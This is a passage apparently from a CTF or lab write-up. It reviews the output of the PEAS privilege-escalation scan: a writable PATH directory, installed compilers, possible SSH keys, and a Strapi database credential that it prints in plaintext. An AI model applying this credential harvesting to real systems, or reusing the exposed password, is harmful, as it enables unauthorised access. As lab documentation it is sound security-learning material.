While PEAS found more CVEs, the majority of them are false-positive

PATH

The current session’s $PATH variable includes a directory the current user has full access to

However, the system’s $PATH variable doesn’t include that.

Networks

PEAS also picked up the network information

Compilers

There are compilers installed

Private SSH keys

PEAS claims that those are some private SSH keys While it is likely false-positive, I will check them out

DB Credential

peas also discovered that one of the strapi configuration files contains a db credential; developer:#J!:F9Zt2u
